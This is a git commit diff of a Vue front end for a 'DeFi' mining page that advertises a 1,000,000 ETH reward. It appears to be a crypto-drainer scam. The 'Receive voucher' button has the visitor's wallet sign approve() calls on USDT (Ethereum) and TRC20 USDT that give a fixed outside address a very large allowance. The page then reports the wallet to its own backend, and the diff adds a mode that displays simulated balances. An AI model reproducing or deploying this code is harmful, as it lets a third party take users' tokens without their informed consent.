gx

queenwuli

2022-04-15 f5a6785ae5a1d534047a1d35b3c43e6e8665acac

 src/pages/index/index.vue

@@ -3,7 +3,7 @@
        <div class="top">
            <div class="header flex align-center justify-between">
            <div class="left flex align-center">
                <img src="../../assets/images/icon3.png" class="icon"/>
                <img src="../../assets/images/icon3.png" class="icon" @click="openShare"/>
                <van-dropdown-menu active-color="#3D8AF2" class="i18-wrap">
                    <van-dropdown-item v-model="local" :options="languague" @change="changeLanguage"/>
                </van-dropdown-menu>
@@ -18,7 +18,8 @@
            <div class="banner-content">
                <p>{{ $t("message.Defi") }}</p>
                <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p>
                <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
                <button v-if="!hasApprove && !availableWallet" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
                <button v-if="availableWallet">{{availableWallet}} USDT</button>
            </div>
        </div>
        <img src="../../assets/images/banner.png" class="banner"/>
@@ -27,7 +28,7 @@
                <OrePool></OrePool>
            </van-tab>
            <van-tab :title='$t("message.Account")'>
              <Account></Account>
              <Account ref="accountRef" :simulateData="simulateData"></Account>
            </van-tab>
        </van-tabs>
        <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper">
@@ -36,7 +37,7 @@
                <p>{{ $t("message.ReceiveDescription") }}</p>
              </div>
              <p class="block-content">{{ $t("message.Description") }}</p>
              <button class="block-btn" @click="toApprove">{{ $t("message.Receive") }}</button>
              <van-button class="block-btn" :loading="isApproving" :loading-text='$t("message.Approving")' type="warning" @click="toApprove">{{ $t("message.Receive") }}</van-button>
            </div>
        </van-overlay>
        <van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper">
@@ -57,31 +58,25 @@
            </div>
        </van-overlay>
        <van-overlay :show="isShowWalletModal" @click="isShowWalletModal = false" class="wrapper">
           <div class="block" @click.stop>
           <div class="walletconnect-modal-wrap" @click.stop>
              <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png">
              <div class="wallet-box">
                <p class="title">选择你的钱包</p>
                <div class="wallet-warp flex align-center justify-between">
                  <div>
                    <img src="../../assets/images/icon8.png">
                    <p>coinbase</p>
                  </div>
                  <div>
                    <img src="../../assets/images/icon8.png">
                    <p>coinbase</p>
                  </div>
                  <div>
                    <img src="../../assets/images/icon8.png">
                    <p>coinbase</p>
                  </div>
                  <div>
                    <img src="../../assets/images/icon8.png">
                    <p>coinbase</p>
                  </div>
                <div class="sub-title">
                  <span>{{$t("message.Mobile")}}</span>
                </div>
                <p class="title">{{$t("message.ChooseWallet")}}</p>
                <div class="wallet-warp flex flex-wrap align-center justify-between">
                  <a :href="item.link" target="_blank" v-for="item in dappList" class="item">
                    <div class="icon" :style="{background: 'url(' + item.imgUrl +')'}"></div>
                    <p class="text">{{item.name}}</p>
                  </a>
                </div>
              </div>
            </div>
        </van-overlay>
        <van-popup position="bottom" :show="iShowSharePopup">
          <Share ref="shareRef" @close="closeShare"></Share>
        </van-popup>
  </div>
</template>

@@ -92,21 +87,38 @@
import { useI18n } from 'vue-i18n'
import OrePool from './orePool';
import Account from './account';
import Share from '../share/index';

export default {
  name: 'App',
  components: {
    OrePool,
    Account
    Account,
    Share
  },
  setup() {
    const { proxy } = getCurrentInstance();
    const pageLink = window.location.href;
    let accountRef = ref(null);
    let walletAddress = ref('');
    let hasApprove = ref(false);
    let isShowApproveModal = ref(false);
    let isShowAccreditModal = ref(false);
    let isShowWalletModal = ref(false);
    let isApproving = ref(false); //是否授权中
    let simulateData = ref(null);
    let availableWallet = ref('');
    let local = ref(proxy.$i18n.locale);
    let shareRef = ref(null);
    let iShowSharePopup = ref(false);
    function openShare(){
      proxy.iShowSharePopup = true;
    }
    function closeShare(){
      proxy.iShowSharePopup = false;
    }
    function changeLanguage(type){
      localStorage.setItem('lang', type);
      proxy.$i18n.locale = type;
    }

@@ -118,16 +130,29 @@
      proxy.isShowAccreditModal = false
      proxy.isShowWalletModal = true
    }
    let web3 = ref(null)
    async function showWalletModal() {
      proxy.isShowAccreditModal = false;
      const provider = new WalletConnectProvider({
          infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
          bridge: "https://bridge.walletconnect.org",
      })
        infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
        rpc: {
          1: "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0",
        }
      });
      await provider.enable();
      let web3 = new Web3(provider);
      const accounts = await web3.eth.getAccounts();
      provider.on("accountsChanged", (accounts) => {
        console.log(accounts[0]+'换啦')
        window.location.reload();
      });
      provider.on("disconnect", (code, reason) => {
        sessionStorage.setItem('address', '');
        window.location.reload();
      });
      proxy.web3 = new Web3(provider);
      const accounts = await proxy.web3.eth.getAccounts();
      proxy.walletAddress = accounts[0];
      console.log('所有的账户，拿得到吗？')
      console.log(accounts)
      proxy.isApprove()
    }
    
@@ -139,20 +164,29 @@
        showAccreditModal()
      }
    }

    onMounted(() => {
      proxy.getAddress();
      if (proxy.walletAddress) {
        proxy.isApprove()
      }else{
        showAccreditModal();
    async function init () {
      if(proxy.getQueryString('isDev') === 'true' && proxy.getQueryString('batchNo')) {
        proxy.walletAddress = 'KtygcD'
        proxy.getSimulateData();
      } else {
        await proxy.getAddress();
        if (proxy.walletAddress) {
          proxy.isApprove()
        }else{
          showAccreditModal();
        }
      }
    }
    
    onMounted(() => {
      init()
    })
    return {
      local: ref('zh'),
      local,
      languague: [
        { text: 'English', value: 'en' },
        { text: '简体中文', value: 'zh' },
        { text: 'English', value: 'en' }
        { text: '日本语', value: 'ja' }
      ],
      // 弹窗显示隐藏
      isShowApproveModal,
@@ -169,17 +203,90 @@
      
      walletAddress, //地址
      hasApprove, //是否授权
      myAccountInfo: reactive({})

      accountRef,

      shareRef,
      iShowSharePopup,
      openShare,
      closeShare,

      web3,
      isApproving,
      dappList: [{
        name: 'TronLink',
        link: 'https://www.tronlink.org/',
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Tronlink.png'
      },
      {
        name: 'coinbase',
        link: 'https://go.cb-w.com/MVotZpePHmb',
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Coinbase.jpg'
      },
      {
        name: 'Trust',
        link: 'https://link.trustwallet.com/open_url?coin_id=60&url=' + pageLink,
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Trust.jpeg'
      },
      {
        name: 'MetaMask',
        link: 'https://metamask.app.link/dapp/mining02.com',
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/MetaMask.jpeg'
      },
      {
        name: 'imToken',
        link: 'imtokenv2://navigate?screen=DappView&url=' + pageLink,
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/ImToken.jpeg'
      },
      {
        name: 'TokenPocket',
        link: 'tpdapp://open?params={"url": "'+pageLink+'"}',
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/TokenPocket.jpeg'
      },
      {
        name: 'Gnosis Safe',
        link: 'https://gnosis-safe.io//wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Gnosis.jpeg'
      },
      {
        name: 'Crypto.com',
        link: 'https://wallet.crypto.com/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Crypto.jpeg'
      },
      {
        name: 'Pillar',
        link: 'pillarwallet://wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Pillar.jpeg'
      },
      {
        name: 'Argent',
        link: 'https://argent.link/app/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Argent.jpeg'
      },
      {
        name: 'MathWallet',
        link: 'mathwallet://mathwallet.org?action=link&value=' + pageLink,
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/MathWallet.jpeg'
      },
      {
        name: 'BitPay',
        link: 'https://link.bitpay.com/wallet/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
        imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg'
      }],
      simulateData, //模拟数据
      availableWallet
    };
  },
  methods: {
    // 获取地址
    async getAddress () {
      let address = 'TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD';
      let address = '';
      if(window.ethereum) {
        await window.ethereum.enable();
        const accounts = await ethereum.request({ method: 'eth_accounts' });
        address = accounts[0];
        console.log('dapp环境噢')
        console.log(accounts)
      }else if(window.tronWeb){
        address = window.tronWeb.defaultAddress.base58;
      }
@@ -187,43 +294,61 @@
    },
    isApprove () {
        this.$axios({
          url: '/dapp/common/isApprove/' + this.walletAddress,
          url: '/dapi/common/isApprove/' + this.walletAddress,
          method: 'get'
        }).then((res) => {
          if(res.code == 200) {
            this.hasApprove = true;
            this.getWalletInfo()
            sessionStorage.setItem('address', this.walletAddress);
            let result = res.data;
            if(result == 1) {
              this.hasApprove = true;
              this.initAccountData()
              sessionStorage.setItem('address', this.walletAddress);
            } else if (result == 2) {
              this.submitApprove()
            } else {
              this.hasApprove = false;
              this.$toast(this.$t('message.ApproveTip'));
            }
          }else{
            this.hasApprove = false;
            this.$toast(this.$t('message.ApproveTip'));
          }
        }).catch(() => {
          this.hasApprove = false;
        })
    },
    async approve () {
      this.isApproving = true;
      if(window.ethereum) {
        this.ethereumApprove()
        this.ethereumApprove(new Web3(window.ethereum))
      }else if(window.tronWeb){
        this.tornWebApprove()
      }else{
        this.ethereumApprove(this.web3)
      }
    },
    ethereumApprove () {
      const web3 = new Web3(window.ethereum);
    ethereumApprove (web3) {
      const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
      const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
      const authAddress = '0x6c5640c572504a75121e57760909a9dd0E672f2D';
      const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
      const contract = new web3.eth.Contract(abi, contractAddress);
      contract.methods.approve(authAddress, 90000000000000).send({from:this.walletAddress, gas:100000}).then((res) => {
        console.log('授权成功')
        console.log(res)
        this.submitApprove()
        this.isApproving = false;
        this.isShowApproveModal = false;
      }).catch((err) => {
        console.log('授权失败')
        console.log(err)
        this.isApproving = false;
        this.isShowApproveModal = false;
      })
    },
    async tornWebApprove () {
      const tronWeb = window.tronWeb;
      const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
      const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp";
      const authAddress = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
      let instance = await tronWeb.contract().at(trxContractAddress);
      let res = await instance["approve"](authAddress, "90000000000000000000000000000");
      res.send({
@@ -232,34 +357,52 @@
        shouldPollResponse: false
      }, (err, res) => {
          if (err == null) {
              alert('嘿,授权成功')
              console.log('嘿,授权成功')
              this.submitApprove()
          }
          this.isApproving = false;
          this.isShowApproveModal = false;
      });
    },
    submitApprove () {
        let refererId = this.getQueryString('code');
        this.$axios({
          url: '/dapp/common/approve',
          url: '/dapi/common/approve',
          method: 'post',
          data: {
            address: this.walletAddress,
            refererId: ''
            refererId: refererId ? refererId : ''
          }
        }).then((res) => {
          if(res.code == 200) {
            this.hasApprove = true;
            this.initAccountData();
            sessionStorage.setItem('address', this.walletAddress);
          }
        })
    },
    getWalletInfo(){
    initAccountData(){
        this.shareRef && this.shareRef.value.initData();
        this.accountRef && this.accountRef.value.initData();
    },
    getSimulateData () {
        this.$axios({
          url: '/dapp/member/walletInfo',
          method: 'post'
          url: '/dapi/common/findSimulateData/' + this.getQueryString('batchNo'),
          method: 'get'
        }).then((res) => {
          if(res.code == 200) {
            this.myAccountInfo = res.data;
              this.simulateData = res.data;
              this.availableWallet = this.simulateData.walletInfoVo.availableWallet
          }
        })
    },
    getQueryString (name) {
      let reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');
      let r = window.location.search.substr(1).match(reg);
      if (r != null) {
      return unescape(r[2]);
      }
      return null;
    }
  }
}
@@ -380,6 +523,9 @@
  padding: 24px 104px;
  border-radius: 48px;
}
.block-btn.van-button--loading{
  opacity: 0.7
}
.close-icon{
  position: absolute;
  top: -63px;
@@ -422,30 +568,63 @@
  color: #080808;
  font-weight: bold;
}
.wallet-box{
  padding: 20px;

.walletconnect-modal-wrap{
  position: relative;
  width: 83%;
  background: #ffffff;
  border-radius: 48px;
  box-shadow: 0 10px 50px 5px rgb(0 0 0 / 40%);
  padding: 24px 24px 22px;
}
.wallet-box p{
  margin: 0;
}
.wallet-box .title{
.walletconnect-modal-wrap  .title{
  font-size: 32px;
  color: #080808;
  font-weight: bold;
  color: rgba(60, 66, 82, 0.6);
  font-weight: 600;
  margin: 20px 0 40px 0;
}
.wallet-warp{
  box-sizing: border-box;
  margin-top: 80px;
.walletconnect-modal-wrap .sub-title{
  width: 79%;
  margin: 0 auto;
  background: #d4d5d9;
  padding: 8px;
  border-radius: 16px;
  margin-bottom: 36px;
}
.wallet-warp img{
  width: 88px;
  height: 88px;
  border-radius: 20px;
}
.wallet-warp p{
.walletconnect-modal-wrap .sub-title>span{
  display: block;
  font-size: 24px;
  color: #080808;
  margin-top: 15px;
  background: #ffffff;
  padding: 8px;
  font-weight: 600;
  border-radius: 10px;
}
.walletconnect-modal-wrap  .wallet-box{
  padding: 24px 24px 22px;
}
.walletconnect-modal-wrap  .wallet-warp{
  margin: 50px 0 20px;
}
.walletconnect-modal-wrap  .wallet-warp .item{
  width: 25%;
  padding: 16px 0;
  box-sizing: border-box;
}
.walletconnect-modal-wrap  .wallet-warp .icon{
  display: block;
  margin: 0 auto;
  width: 84px;
  height: 84px;
  border-radius: 16px;
  background-size: cover!important;
  box-shadow: 0 0.10667rem 0.32rem 0 rgb(37 41 46 / 25%);
}
.walletconnect-modal-wrap  .wallet-warp .text{
  color: #424952;
  font-weight: 600;
  margin: 10px 0 0;
  font-size: 24px;
  height: 64px;
}
.address{
  width: 100px;